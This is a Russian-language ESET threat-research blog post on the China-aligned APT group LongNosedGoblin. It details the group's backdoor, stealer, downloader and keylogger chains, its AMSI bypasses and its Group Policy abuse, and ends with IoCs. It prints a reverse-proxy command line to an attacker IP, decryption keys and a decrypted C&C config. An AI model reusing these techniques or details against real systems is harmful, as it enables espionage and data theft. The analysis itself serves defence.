ESET Eesti Blogi

LongNosedGoblin пытается узнать о делах правительств Юго-Восточной Азии и Японии

В 2024 году исследователи ESET заметили ранее не документированное вредоносное ПО в сети правительственного учреждения Юго-Восточной Азии. Это привело нас к обнаружению еще большего количества нового вредоносного ПО в той же системе, ни одно из которых не имело существенных связей с ранее отслеживаемыми злоумышленниками. Основываясь на наших выводах, мы решили отнести вредоносные инструменты к новой связанной с Китаем APT-группе, которую мы назвали LongNosedGoblin.

Группа использует разнообразный набор пользовательских инструментов, состоящий в основном из приложений C#/.NET, и, что особенно важно, использует групповую политику для развертывания своего вредоносного ПО и бокового перемещения по системам целевых объектов. В этом блоге мы подробно описываем наше обнаружение LongNosedGoblin, рассматриваем ее известные кампании и погружаемся в набор инструментов группы.

Ключевые моменты отчета:
  • LongNosedGoblin — это недавно обнаруженная связанная с Китаем APT-группа, нацеленная на правительственные учреждения в Юго-Восточной Азии и Японии с целью кибершпионажа.
  • Группа активна как минимум с сентября 2023 года.
  • LongNosedGoblin использует групповую политику для развертывания вредоносного ПО в скомпрометированной сети, а облачные сервисы (например, Microsoft OneDrive и Google Drive) — в качестве серверов команд и управления (C&C).
  • Один из инструментов группы, NosyHistorian, используется для сбора истории браузера и принятия решений о дальнейшем развертывании вредоносного ПО, такого как бэкдор NosyDoor.
  • NosyDoor, скорее всего, используется несколькими связанными с Китаем злоумышленниками.
  • Мы предоставляем подробный анализ NosyHistorian, NosyDoor, NosyStealer, NosyDownloader, NosyLogger и других инструментов, используемых LongNosedGoblin.

Пахнет неприятностями: Знакомьтесь, LongNosedGoblin

LongNosedGoblin — это связанная с Китаем APT-группа, которая нацелена на правительственные учреждения в Юго-Восточной Азии и Японии с целью проведения кибершпионажа. Как мы уже упоминали: в своих кампаниях LongNosedGoblin злоупотребляет групповой политикой — механизмом управления настройками и разрешениями на компьютерах Windows, обычно используемым с Active Directory — для развертывания вредоносного ПО и бокового перемещения по скомпрометированной сети.

Одним из основных инструментов в ее арсенале является NosyHistorian, приложение C#/.NET, которое группа использует для сбора истории браузера, которая затем используется для определения места дальнейшего развертывания вредоносного ПО. Это включает в себя другой основной инструмент LongNosedGoblin, бэкдор, который мы назвали NosyDoor, который в наблюдаемых нами кампаниях использовал Microsoft OneDrive в качестве сервера C&C. NosyDoor также использует техники «жить за счет земли» (living-off-the-land) в своей цепочке выполнения, а именно инъекцию AppDomainManager. Наконец, несколько инструментов группы могут обходить интерфейс сканирования антивирусного ПО (AMSI), который позволяет антивирусным продуктам сканировать различные скрипты перед выполнением.

Обнаружение

В феврале 2024 года мы обнаружили неизвестное вредоносное ПО в системе правительственного учреждения в Юго-Восточной Азии. Вредоносное ПО использовалось для установки пользовательского бэкдора, который мы позже назвали NosyDoor. В то же время мы заметили, что компрометация затронула не одну, а несколько машин одного и того же учреждения, причем вредоносное ПО было развернуто через групповую политику.

Дополнительный анализ показал, что те же жертвы также были заражены другим вредоносным инструментом, распространяемым через групповую политику, который использовался для сбора истории браузера. Мы назвали этот инструмент NosyHistorian. Хотя мы обнаружили множество жертв, пострадавших от NosyHistorian в ходе нашего первоначального расследования между январем и мартом 2024 года, лишь небольшая часть из них была скомпрометирована NosyDoor. Некоторые образцы дроппера NosyDoor даже содержали защитные механизмы выполнения, ограничивающие работу только на компьютерах определенных жертв.

Позже мы обнаружили еще больше неизвестного вредоносного ПО на машинах жертв: NosyStealer, который извлекает данные браузера; NosyDownloader, который загружает и запускает полезную нагрузку в памяти; NosyLogger, кейлоггер; другие инструменты, такие как обратный SOCKS5-прокси; и средство запуска аргументов (инструмент, который запускает приложение, переданное как аргумент), которое использовалось для запуска видеомагнитофона, вероятно, FFmpeg, для записи аудио и видео. Загрузчик впервые был зафиксирован в нашей телеметрии еще в сентябре 2023 года.

Атрибуция

Из-за уникального набора инструментов, а также использования групповой политики для бокового перемещения, мы решили отнести атаки к новой связанной с Китаем APT-группе и назвали ее LongNosedGoblin. Мы заметили некоторое совпадение в путях к файлам, упомянутых в посте в блоге Kaspersky о деятельности ToddyCat, APT-группы с похожим таргетингом, но вредоносное ПО в том отчете не имеет сходства кода с рассматриваемым здесь вредоносным ПО.

Также следует отметить, что в июне 2025 года российская компания по кибербезопасности Solar опубликовала пост в блоге об APT-группе, которую она называет Erudite Mogwai, использовавшей полезную нагрузку, очень похожую на NosyDoor от LongNosedGoblin. По словам авторов, Erudite Mogwai нацеливалась на ИТ-инфраструктуру российской государственной организации и российских ИТ-компаний, используя в своих операциях бэкдор LuckyStrike Agent.

Однако мы не можем подтвердить, что Erudite Mogwai и LongNosedGoblin — это одно и то же, поскольку между двумя группами существует определенная разница в TTP. В частности, исследование Erudite Mogwai не упоминает злоупотребление групповой политикой Active Directory для развертывания вредоносного ПО — техника, которая довольно специфична для операций LongNosedGoblin.

Позже мы выявили еще один вариант NosyDoor, нацеленный на организацию в стране ЕС, снова используя различные TTP и облачный сервис Yandex Disk в качестве сервера C&C. Использование этого варианта NosyDoor предполагает, что вредоносное ПО может использоваться совместно несколькими связанными с Китаем группами угроз. Это также подтверждается наблюдением Solar слова Paid в пути PDB NosyDoor, что указывает на то, что вредоносное ПО может предоставляться в качестве коммерческой услуги — потенциально указывая на то, что оно продается или лицензируется другим злоумышленникам.

Поздние кампании

На протяжении 2024 года LongNosedGoblin активно развертывала NosyDownloader в Юго-Восточной Азии. В декабре того же года мы обнаружили обновленную версию NosyHistorian в Японии, но затем не наблюдали последующей активности.

В сентябре 2025 года мы начали замечать возобновление активности группы в Юго-Восточной Азии. Как и в предыдущих кампаниях, злоумышленник использовал групповую политику для доставки NosyHistorian на целевые машины.

Во время этой волны атак мы заметили поведение, соответствующее использованию Cobalt Strike: загрузчик под названием oci.dll был загружен на одну машину, а полезная нагрузка под названием ocapi.edb была загружена с диска. Затем LongNosedGoblin развернула потенциальный загрузчик Cobalt Strike на выбранные машины через групповую политику.

Кроме того, мы видели, что был загружен другой похожий компонент, mscorsvc.dll, с полезной нагрузкой, хранящейся в conf.ini. Этот загрузчик затем был развернут на машинах жертв с использованием групповой политики, применяя тот же механизм доставки, что и oci.dll.

Носимся вокруг: Инструментарий LongNosedGoblin

NosyHistorian

NosyHistorian — это приложение C#/.NET с самообъясняющимся внутренним названием GetBrowserHistory, поскольку оно действительно собирает историю браузера. В наблюдаемых кампаниях злоумышленники использовали этот инструмент для получения информации о машинах в скомпрометированной инфраструктуре. Основываясь на этой информации, они выбирали небольшую группу конкретных жертв для дальнейшей компрометации с помощью своего бэкдора NosyDoor.

Мы видели, как инструмент развертывался через групповую политику под именем файла History.ini, маскируя файл под INI-файл. На самом деле, это переносимый исполняемый файл (PE), цель которого, скорее всего, — слиться с другими INI-файлами, обычно хранящимися в каталоге кэша групповой политики.

NosyHistorian перебирает всех пользователей на машине и извлекает историю браузера из Google Chrome, Microsoft Edge и Mozilla Firefox. Каждый файл базы данных истории копируется во временный каталог, а затем загружается в определенный жестко заданный SMB-ресурс в локальной сети скомпрометированной организации. Имя файла NosyHistorian для файла истории каждого веб-браузера указано в Таблице 1, где <profile_name> соответствует профилям веб-браузеров.

Таблица 1. Имена файлов истории, созданные NosyHistorian

Веб-браузер Имя файла
Google Chrome <username>_<machine_name>_<profile_name>_History
Microsoft Edge <username>_<machine_name>_edge_History
Mozilla Firefox <username>_<machine_name>_firefox_<profile_name>_places.sqlite

И этот инструмент, и NosyDoor имеют схожие пути PDB и были скомпилированы из каталога E:Csharp, причем путь PDB NosyHistorian: E:CsharpSharpMiscGetBrowserHistoryobjDebugGetBrowserHistory.pdb.

NosyDoor

Как уже упоминалось, бэкдор NosyDoor использует облачные сервисы, такие как Microsoft OneDrive, для своего сервера C&C. Вредоносное ПО имеет довольно простую трехэтапную цепочку выполнения, показанную на Рисунке 1. Первый этап — это дроппер, который развертывает второй этап, включающий атаку «жить за счет земли» с использованием техники инъекции AppDomainManager, которая, в свою очередь, используется для выполнения окончательной полезной нагрузки, самого бэкдора.

NosyDoor собирает метаданные о машине жертвы, включая имя машины, имя пользователя, версию ОС и имя текущего процесса, и отправляет все это на C&C. Затем он извлекает и анализирует файлы задач с командами с C&C. Команды позволяют ему, среди прочего, извлекать файлы, удалять файлы и выполнять команды оболочки.

Рисунок 1. Цепочка выполнения NosyDoor

Этап 1 NosyDoor – дроппер

Первый этап вредоносного ПО — это дроппер, а именно приложение C#/.NET с внутренним названием OneClickOperation. Как и NosyHistorian, он развертывается через групповую политику. Мы видели, как дроппер маскировался под файл групповой политики реестра, используя имя файла Registry.pol, хотя мы также наблюдали Registry.plo, что необычно (это может быть опечатка, или злоумышленники не хотели, чтобы имя файла конфликтовало с другим вредоносным файлом).

Дроппер декодирует встроенные файлы из base64 и расшифровывает их с помощью Data Encryption Standard (DES) с ключом и вектором инициализации, установленными в UevAppMo (первые восемь байтов строки UevAppMonitor), затем помещает их в C:WindowsMicrosoft.NETFramework под следующими именами файлов:

Эти имена файлов были выбраны намеренно, чтобы слиться с существующими файлами, поскольку каталог обычно содержит файлы с именами SharedReg12.dll и netfxsbs12.hkf.

На заключительных этапах дроппер создает и запускает задачу Windows с именем OneDrive Reporting Task-S-1-5-21-<GUID> в папке задач Microsoft, где <GUID> — это строка случайного GUID. Планировщик отвечает за выполнение законного UevAppMonitor.exe в каталоге C:WindowsMicrosoft.NETFramework во время запуска системы. Дроппер копирует законный файл из C:WindowsSystem32 в новое место.

Более новые образцы также включают защитный механизм выполнения, который заставляет дроппер функционировать только на компьютерах жертв с определенным именем машины (см. Рисунок 2).

Рисунок 2. Код дроппера с защитными механизмами выполнения

Этап 2 NosyDoor – инъекция AppDomainManager

UevAppMonitor.exe — это законное приложение C#/.NET, которое вредоносное ПО скопировало из C:WindowsSystem32 в каталог C:WindowsMicrosoft.NETFramework и использовало в качестве бинарного файла «жить за счет земли» или LOLBin. Атаки «жить за счет земли» используют законные инструменты, уже присутствующие в системе. В данном случае приложение используется для запуска инъекции AppDomainManager через конфигурационный файл. Эта техника может заставить приложения, созданные в фреймворке .NET, загружать вредоносный код вместо предполагаемого законного кода, используя класс AppDomainManager.

Когда приложение запускается, оно загружает конфигурационный файл, показанный на Рисунке 3, который заставляет приложение вызывать метод InitializeNewDomain пользовательского класса SharedReg в SharedReg.dll. Конфигурация также устанавливает для элемента <etwEnable> атрибут enabled значение false, чтобы трассировка событий для Windows была отключена.

Рисунок 3. Содержимое UevAppMonitor.exe.config с указанным AppDomainManager

SharedReg.dll содержит код для обхода AMSI из фреймворка обхода AV/EDR с открытым исходным кодом под названием inceptor. Кроме того, он декодирует файл netfxsbs9.hkf из base64, расшифровывает результат с помощью AES с ключом UevAppMonitor, дополненным нулевыми байтами до длины 16, вектором инициализации 0, и, наконец, снова декодирует результат из base64. Результатом является NosyDoor, который затем выполняется. Любые ошибки записываются в файл error.txt в каталоге C:WindowsMicrosoft.NETFramework.

Этап 3 NosyDoor – полезная нагрузка

Третий этап NosyDoor, основная полезная нагрузка, — это бэкдор C#/.NET с внутренним названием OneDrive и путем PDB E:CsharpThomasServerThomasOneDriveobjReleaseOneDrive.pdb. Как следует из названия, бэкдор использует облачные сервисы, в данном случае Microsoft OneDrive, в качестве сервера C&C.

Полный список собираемых бэкдором метаданных состоит из следующего:

Все собранные метаданные шифруются с помощью RSA, а затем загружаются в OneDrive как файл Read_<agent_id>.max. Как только NosyDoor отправляет метаданные, он ищет команды от C&C в файлах задач с расширением .max в следующем каталоге:

<FolderName>-<ListenerID>/<agent_id>/<Payload.TaskFolderName>

Каждый файл задачи содержит зашифрованную команду, которая инкапсулирована значениями, взятыми из конфигурации бэкдора:

<Payload.Prepend><Payload.PayloadPrepend><encrypted_command><Payload.PayloadAppend><Payload.Append>

Команда затем декодируется с помощью base64 и расшифровывается с помощью AES с ключом <Payload.Key> и вектором инициализации 0. Все команды описаны в Таблице 2. Хотя команда CMD_TYPE_TASKSCHEDULER упомянута в коде, она не реализована ни в одном из наблюдаемых образцов.

Таблица 2. Команды, поддерживаемые NosyDoor

Команда Описание
CMD_TYPE_SHELL Выполнить команду оболочки.
CMD_TYPE_EXEC_ASM Загрузить сборку .NET.
CMD_TYPE_EXIT Выйти из NosyDoor.
CMD_TYPE_REMOVE Удалить файл и перечислить его исходный каталог.
CMD_TYPE_DOWNLOAD Извлечь файл. Обратите внимание, что команды загрузки и выгрузки здесь названы с точки зрения атакующего, рассматривая C&C-машину как локальную, а машину жертвы — как удаленную.
CMD_TYPE_UPLOAD Загрузить файл на машину жертвы, удалить его из OneDrive и перечислить каталог, куда был загружен файл.
CMD_TYPE_DRIVES Получить имена и размеры логических дисков, присутствующих на машине.
CMD_TYPE_FILE_BROWSE Получить список каталогов, включая значки файлов.
CMD_TYPE_SLEEP Установить интервал маяка.
CMD_TYPE_TASKSCHEDULER Не реализовано.
CMD_TYPE_Plugin Загрузить сборку .NET, напрямую вызывая метод Plugin.Run.

После выполнения команды NosyDoor выполняет обратные шаги — шифрует вывод команды с помощью AES, кодирует в base64 и инкапсулирует строками <Payload.Prepend><Payload.PayloadPrepend> и <Payload.PayloadAppend><Payload.Append>. Каждый результат сохраняется на C&C-сервере в файле с именем файла, указывающим местное время (Unix timestamp, умноженный на 100 000), и заканчивающимся расширением .max:

<FolderName>-<ListenerID>/<agent_id>/<Payload.ReceiveFolderName>/<unix_timestamp>.max

Если во время работы NosyDoor возникает исключение, бэкдор записывает сообщение об исключении вместе с местным временем в C:UsersPublicLibrariesthomas.log.

Бэкдор содержит пользовательскую зависимость под названием Library, которая встроена как ресурс с использованием Costura. Она в основном содержит код, связанный с обработкой команд, связью с Microsoft OneDrive и различными вспомогательными методами, в то время как основной бинарный файл обрабатывает цикл маяка и читает конфигурационный файл, используя библиотеку.

Конфигурация хранится в файле log.cached в зашифрованном виде. NosyDoor расшифровывает ее с помощью XOR с ключом SecretKey, декодирует из base64, затем расшифровывает с помощью AES с ключом Thomas, дополненным нулевыми байтами до длины 16, и IV 0. Эту конфигурацию можно увидеть на Рисунке 4.

{ "ListenerID": 3, "FolderName": "Duis euismod, mi, ligula, mattis feugiat, pulvinar.", "AppID": "[redacted]", "RefreshToken": "[redacted]", "BaseUrl": "https://graph.microsoft.com/v1.0/drive", "TokenUrl": "https://login.microsoftonline.com/common/oauth2/v2.0/token", "CodeType": ".NET40", "AgentType": "OneDrive", "Scope": "offline_access files.readwrite", "Sleep": 66, "BeginDate": "08:51:00", "EndDate": "18:51:00", "Payload": { "Key": "583oq23aonxloet7", "MetaDataName": null, "TaskFolderName": "Risus blandit mattis", "ReceiveFolderName": "Felis posuere at", "Prepend": "<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http : //www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /> <title>IIS Windows Server</title> <style type="text/css"> <!-- body { color:#000000; background-color:#0072C6; margin:0; } #container { margin-left:auto; margin-right:auto; text-align:center; } a img { border:", "Append": "; } --> </style> </head> <body> <div id="container"> <a href="http://go.microsoft.com/fwlink/?linkid=66138u0026amp;clcid=0x409"><img src="iisstart.png" alt="IIS" width="960" height="600" /></a> </div> </body> </html>", "PayloadPrepend": "Fames", "PayloadAppend": "Ipsum" } }

Рисунок 4. Расшифрованная конфигурация (log.cached, форматированная)

Значения конфигурации <BeginDate> и <EndDate> определяют диапазон местного времени, когда NosyDoor работает. В данном случае NosyDoor активен только с 8:51 до 18:51. Однако после аутентификации NosyDoor будет обрабатывать команды, которые все еще находятся в очереди, и отправлять файлы ответов независимо от времени.

NosyStealer

NosyStealer используется для кражи данных браузера из Microsoft Edge и Google Chrome. Как показано на Рисунке 5, он имеет четырехэтапную цепочку выполнения, причем компонент кражи является полезной нагрузкой последнего этапа.

Рисунок 5. Цепочка выполнения NosyStealer

Этап 1 NosyStealer – загрузчик DLL

Первый этап (pmp.exe) в цепочке NosyStealer — это приложение C/C++. Наблюдаемый образец просто загружает библиотеку с именем SERV.dll с диска и вызывает экспортируемую функцию Hello.

Этап 2 NosyStealer – инъектор

Мы наблюдали два образца Этапа 2 NosyStealer — один (SERV.dll) в нашей телеметрии, а другой (msi.dll) был загружен на VirusTotal из Малайзии. Ни один из них не имеет экспортируемой функции Hello, но оба имеют основной код в DllMain, то есть вредоносный код запускается сразу после загрузки DLL. Они имеют следующие экспорты:

Данные следующего этапа загружаются из жестко заданного пути C:ProgramDataMicrosoftWDFMDE.dat. Они расшифровываются с помощью однобайтового XOR-шифра с ключом 0x7A. Результатом является шеллкод Donut, который внедряется в запущенный процесс pmp.exe (Этап 1 NosyStealer) с использованием API CreateRemoteThread в случае SERV.dll, и в недавно созданный процесс notepad.exe с использованием API SetThreadContext в случае msi.dll.

Этап 3 NosyStealer – загрузчик

Как упоминалось в разделе Этап 2 NosyStealer – инъектор, этот этап представляет собой шеллкод, содержащий встроенный PE-файл, который расшифровывается, загружается и выполняется в памяти с помощью отражающего загрузчика Donut. Извлеченный бинарный файл — это приложение C/C++.

Как и в Этапе 2 NosyDoor – инъекция AppDomainManager, этот этап использует известную технику для обхода AMSI. Он патчит функцию AmsiScanBuffer в загруженной amsi.dll кодом, который возвращает E_INVALIDARG (см. Рисунок 6).

Рисунок 6. Декомпилированный код Hex-Rays, который патчит AmsiScanBuffer

Затем он создает задачу Windows с именем Daily Check Task, которая ежедневно запускает C:ProgramDataMicrosoftWDFpmp.exe (Этап 1 NosyStealer) с правами локальной системной учетной записи.

После патчинга функции AMSI и сохранения он продолжает работу аналогично предыдущему этапу — расшифровывает следующий этап из жестко заданного пути C:ProgramDataMicrosoftWDFmfd.dat с помощью однобайтового XOR-шифра с ключом 0x7A, где результирующий блок — это другой шеллкод Donut, который затем выполняется.

Этап 4 NosyStealer – полезная нагрузка

Опять же, как и в Этапе 3 NosyStealer – загрузчик, этот этап представляет собой шеллкод, который расшифровывает, загружает и выполняет встроенный PE-файл в памяти с помощью отражающего загрузчика Donut. На этот раз извлеченный бинарный файл — это приложение Go, которое крадет данные браузера из веб-браузеров Microsoft Edge и Google Chrome. Для этого оно загружает файл с именем config из Google Docs. Когда файл содержит идентификатор жертвы, NosyStealer считывает данные профиля Microsoft Edge и Google Chrome, архивирует их с помощью tar и шифрует с помощью пользовательского шифра.

Затем NosyStealer извлекает зашифрованный tar-архив в Google Drive. Рисунок 7 — пример конфигурации в формате JSON, встроенной в бинарный файл, необходимой для доступа к Google Drive и Google Docs.

{ "type": "service_account", "project_id": "dev0-411506", "private_key_id": "[redacted]", "private_key": "[redacted]", "client_email": "dev0-660@dev0-411506.iam.gserviceaccount.com", "client_id": "[redacted]", "auth_uri": "https://accounts.google.com/o/oauth2/auth", "token_uri": "https://oauth2.googleapis.com/token", "auth_provider_x509_cert_url": "https://www.googleapis.com/oauth2/v1/certs", "client_x509_cert_url": "https://www.googleapis.com/robot/v1/metadata/x509/dev0-660%40dev0-411506.iam.gserviceaccount.com", "universe_domain": "googleapis.com" }

Рисунок 7. Конфигурация NosyStealer

NosyStealer также записывает ошибки и сообщения о статусе в файл Google Docs под названием log, куда может попадать информация от нескольких жертв. Сообщение о статусе содержит константу 9, возможно, это версия NosyStealer. Полный формат сообщения о статусе, где <machine_local_ips> — это список локальных IPv4-адресов сетевых адаптеров, выглядит так:

<local_date> — <victim_id> — 9 — heartbeat <machine_local_ips>

NosyDownloader

Анализируя телеметрические данные ESET, мы также обнаружили в сетях, скомпрометированных LongNosedGoblin, различные изначально безвредные приложения, в которые был внедрен вредоносный код. Этот код содержит загрузчик, который мы назвали NosyDownloader. Он выполняет цепочку обфусцированных команд, передаваемых в запущенный процесс PowerShell как один длинный аргумент командной строки, что означает, что скрипт не хранится на диске. Каждый последующий этап закодирован с помощью base64, а последний дополнительно сжат с помощью gzip.

Каждый этап кратко описан в Таблице 3. Как и NosyDoor Stage 2 и NosyStealer Stage 3, второй этап здесь также обходит AMSI. В данном случае NosyDownloader использует метод рефлексии Мэтта Гребера и методы отключения логирования скриптов, доступные на GitHub, для обхода AMSI.

Таблица 3. Этапы скрипта NosyDownloader

Этап Описание
1 Декодирует и выполняет Этап 2 в новом процессе PowerShell, который запускается в скрытом окне.
2 Обходит AMSI, затем декодирует и выполняет Этап 3.
3 Декодирует, распаковывает и выполняет Этап 4.
4 Загружает полезную нагрузку и выполняет ее в памяти с помощью Invoke-Expression.

Мы предполагаем, что NosyDownloader использовался для развертывания ReverseSocks5, NosyLogger и обработчика аргументов, поскольку мы наблюдали их в течение недели после выполнения NosyDownloader.

NosyLogger

Мы также идентифицировали C#/.NET keylogger, который мы назвали NosyLogger. Похоже, это модифицированная версия open-source keylogger DuckSharp, основные отличия заключаются в том, что он не отправляет электронные письма и не переводит нажатые клавиши на кириллицу.

Вредоносное ПО сначала проверяет наличие отладчика с помощью API IsDebuggerPresent и CheckRemoteDebuggerPresent; если отладчик не обнаружен, оно начинает выполнять функцию кейлоггера.

Имя окна, нажатые клавиши и скопированное содержимое буфера обмена накапливаются в памяти. NosyLogger шифрует эти пакеты данных с помощью AES с ключом D53FCC01038E20193FBD51B7400075CF7C9C4402B73DA7B0DB836B000EBD8B1C и случайно сгенерированного вектора инициализации фиксированной длины. Вектор добавляется к зашифрованному пакету данных. Затем зашифрованный пакет данных добавляется в файл по жестко заданному пути C:WindowsTempTS_D418.tmp в виде шестнадцатеричной строки. В этом файле каждый зашифрованный пакет данных отделяется новой строкой, за которой следует строка ENDBLOCK. Этот процесс шифрования и сохранения накопленных данных в файл происходит каждые 10 секунд. Этот файл не эксфильтруется NosyLogger.

Другие развернутые инструменты

ReverseSocks5

Среди другого вредоносного ПО, развернутого LongNosedGoblin, мы обнаружили open-source reverse SOCKS5 прокси, написанный на Go, под названием ReverseSocks5. Мы обнаружили его, когда заметили использование следующих аргументов командной строки:

-connect 118.107.234[.]29:8080 -psk «58fi04qQ» /F

Опция -psk используется для установки предварительно разделяемого ключа для шифрования и аутентификации. Аргумент /F не обрабатывается ReverseSocks5 и, вероятно, является непреднамеренным; этот аргумент обычно используется с schtasks create.

Затем мы заметили другой набор аргументов командной строки (без аргумента /F):

-connect 118.107.234[.]29:8080 -psk «15Kaf22N3b»

Этот второй набор соответствует выполнению ReverseSocks5, где мы наблюдали PowerShell в качестве родительского процесса. NosyDownloader также выполнялся в это время, что указывает на то, что образец, вероятно, был развернут вместе с ним.

Обработчик аргументов

Это приложение на C#/.NET с внутренним именем Binary; единственная цель этого инструмента — запуск приложения, переданного в качестве аргумента. Мы видели имя файла TCOEdge.exe в командной строке вместе с аргументами, специфичными для мультимедийного фреймворка FFmpeg; он использовался для записи экрана и захвата звука, сохраняя его в C:WindowsTempoutput.avi.

Заключение

LongNosedGoblin — это APT-группировка, связанная с Китаем, которая нацелена на правительственные организации в Юго-Восточной Азии и Японии. Наш анализ их кампаний выявил многочисленные образцы пользовательского вредоносного ПО, которое группа использует для кибершпионажа против своих жертв. Примечательно, что LongNosedGoblin использует групповые политики для перемещения внутри скомпрометированной сети.

По всем вопросам, касающимся наших исследований, опубликованных на WeLiveSecurity, пожалуйста, свяжитесь с нами по адресу threatintel@eset.com.
ESET Research предлагает частные отчеты по APT-разведке и потоки данных. По всем вопросам, касающимся этой услуги, посетите страницу ESET Threat Intelligence.

IoCs

Полный список индикаторов компрометации (IoCs) и образцов можно найти в нашем репозитории GitHub.

Файлы

SHA-1 Имя файла Обнаружение Описание
4E3F6E9D0F443F4C42974A0551EEE957B498DA3D History.ini MSIL/Spy.Agent.EUU NosyHistorian.
CD745BD2636F607CC4FB9389535BF3579321CA72 History.ini MSIL/Spy.Agent.EUU NosyHistorian.
154A35DD4117DB760699C2092AFB307E94008506 Registry.plo MSIL/TrojanDropper.Agent.GBQ NosyDoor stage 1.
B1D4A283A9CCC9E34993DD2093A904AFBD88B9B9 Registry.pol MSIL/TrojanDropper.Agent.GBQ NosyDoor stage 1.
77D2A8CB316B7A470E76E163551A00BB16A696C5 Registry.plo MSIL/TrojanDropper.Agent.GBQ NosyDoor stage 1.
F93E449C5520C4718E284375C54BE33711505985 Registry.pol MSIL/TrojanDropper.Agent.GBQ NosyDoor stage 1.
1959E2198D6F81B2604DF7AC1F508AEB7A6FA07E SharedReg.dll MSIL/Kryptik.AJBA NosyDoor stage 2.
E0B44715BC4C327C04E63F881ECC087B7ACBD306 N/A MSIL/Agent.ESF NosyDoor stage 3.
43C8AE8561E7E3BF9CD748136C091099E5CBEEEE N/A MSIL/Agent.ESF NosyDoor stage 3.
D11FC2D6159CB8BA392B145B3EE4ADFA15DB4C83 N/A MSIL/Agent.ESF NosyDoor stage 3.
A0A80AC293645076EBAE393FF0A6A4229E2EDE1C pmp.exe Win64/Agent.DNY NosyStealer stage 1.
DDBBAE33E04A49D17DD24D85B637667B4407AE19 SERV.dll Win64/Agent.DNX NosyStealer stage 2.
60158C509446893B3B57D40DC4B4B3795FCDF369 HPSupportAssistant.exe PowerShell/TrojanDownloader.Agent.JJO NosyDownloader.
F5B7440EE25116A49EC5EE82507B353880217AC1 RTLWVern.exe PowerShell/Agent.BDR NosyDownloader.
85939C56BFCACD0993E6FB9F7CFD6137601FB7D4 hpSmartAdapter.exe Win32/Agent.AGIJ NosyDownloader.
C66F9FEC0F8CBF577840944F61198A75B3E2A58C hputils.exe Win32/Agent.AGII NosyDownloader.
4C2FCCE3BAB4144D90C741A6D77ADF209C786B54 IGCCSvc.exe MSIL/Spy.Keylogger.FVW NosyLogger.
161A25CB0B8FA998BF1BDEE31F06F24876453CDF AdobeHelper.exe WinGo/ReverseShell.DX ReverseSocks5.
4D61A9FBBCC4F7A37BE21548B55BB5B9B837F83B msi.dll Win64/Agent.DOT NosyStealer stage 2.
5AE440805719250AAEFEE9B39DACD23D2FB573CD TCOCertified.exe MSIL/Runner.BW Argument runner.
E93D32C739825519A10A4C52C5F1EE33936E4FDB N/A WinGo/PSW.Agent.FZ NosyStealer stage 4.
212126896D38C1EE57320FB6940FED7A6E30D9EA N/A Win32/Agent.AGHB NosyStealer stage 3.
CFFE15AA4D0F9E6577CCB509ACE9C588937943F2 HPNDFInterface.exe PowerShell/TrojanDownloader.Agent.JJO NosyDownloader.
6AC22CE60B706E3B9A7927633116911E1087C0D4 bemsvc.exe PowerShell/TrojanDownloader.Agent.JJO NosyDownloader.
2C1959DD85424CEDC96B1BB86A95FCA440CB9E36 HPDeviceCheck.exe Win32/Agent.AGWU NosyDownloader.
46107B1292B830D9BCEBBDA6EEDB32FBC05707B4 HP.OCF.exe Win32/Patched.NLL NosyDownloader.
581464978C29B2BC79C65766E62011C94D2CBEAB HP.OCF.exe Win32/Patched.NLL NosyDownloader.
0D91A0E52212EC44E32C47F7760AF3B473B72798 ax_installer.exe PowerShell/TrojanDownloader.Agent.JJO NosyDownloader.
48D715466857FB0C6CD0249DE6D960FC199438E1 btdevmanager.exe MSIL/Spy.Keylogger_AGen.DL NosyLogger.
563677CFACD328EA2478836E58A8BD0DF11206A3 info.txt MSIL/Spy.Agent.EUU NosyHistorian.
AC2264C56121141DAF751A3852CD34F3ACB1D63C ntrtscan.exe MSIL/Spy.Agent.EUU NosyHistorian.
70A615BC580522E1EEE4B61394DC7A247FE47022 ntrtscan.exe MSIL/Spy.Agent.EUU NosyHistorian.
E9C5E4AA335DFBD25786234A58CE4C9C551D1A41 oci.dll Win64/Kryptik_AGen.UW Loader of unknown malware (possibly Cobalt Strike).
EC9CEB599DF3BDFFAD536900D0E6D48E2E5FF12B mscorsvc.dll Win64/Kryptik.EHP Loader of unknown malware (possibly Cobalt Strike).

Сеть

IP Домен Хостинг-провайдер Первый раз замечен Детали
118.107.234[.]26 www.sslvpnserver[.]com IRT‑IPSERVERONE‑MY 2022‑04‑09 Сервер C&C для NosyDownloader.
103.159.132[.]30 www.threadstub[.]com IRT-FBP-MY 2023‑10‑03 Сервер C&C для NosyDownloader.
101.99.88[.]113 www.blazenewso[.]com Shinjiru Technology Sdn Bhd 2024‑08‑23 Сервер C&C для NosyDownloader.
118.107.234[.]29 N/A IRT‑IPSERVERONE‑MY 2023‑03‑20 Сервер ReverseSocks5.
101.99.88[.]188 www.privacypolicy-my[.]com Администратор Shinjiru Technology Sdn Bhd 2024‑10‑23 Сервер C&C для NosyDownloader.
38.54.17[.]131 N/A Kaopu Cloud HK Limited 2025‑03‑05 Сервер, на котором размещено вредоносное ПО, возможно, Cobalt Strike.

Техники MITRE ATT&CK

Эта таблица была составлена с использованием версии 18 фреймворка MITRE ATT&CK.

Тактика ID Название Описание
Разработка ресурсов T1585.003 Создание учетных записей: облачные учетные записи LongNosedGoblin создавал учетные записи в облачных сервисах для связи C&C.
T1588.001 Получение возможностей: вредоносное ПО LongNosedGoblin, вероятно, использовал общее вредоносное ПО, которое мы назвали NosyDoor.
Выполнение T1059.001 Интерпретатор команд и скриптов: PowerShell NosyDownloader выполняет команды PowerShell.
T1059.003 Интерпретатор команд и скриптов: командная оболочка Windows NosyDoor может выполнять команды через cmd.exe.
T1106 Native API NosyStealer Stage 1 выполняет следующий этап через API LoadLibraryW.
Сохранение T1053.005 Планировщик задач/задание: Планировщик задач NosyDoor и NosyStealer сохраняются с использованием запланированных задач Windows.
T1574.014 Перехват потока выполнения: AppDomainManager NosyDoor Stage 2 использует инъекцию AppDomainManager для запуска вредоносного кода.
Обход защиты T1027.013 Обфускация файлов или информации: зашифрованный/закодированный файл Вредоносные файлы, встроенные в NosyDoor Stage 1, зашифрованы с помощью DES.
T1027.015 Обфускация файлов или информации: сжатие NosyDownloader Stage 4 сжат с использованием gzip.
T1622 Обход отладчика NosyLogger не работает, если присутствует отладчик.
T1480 Ограничения выполнения Некоторые образцы NosyDoor работают только на машинах с определенными именами.
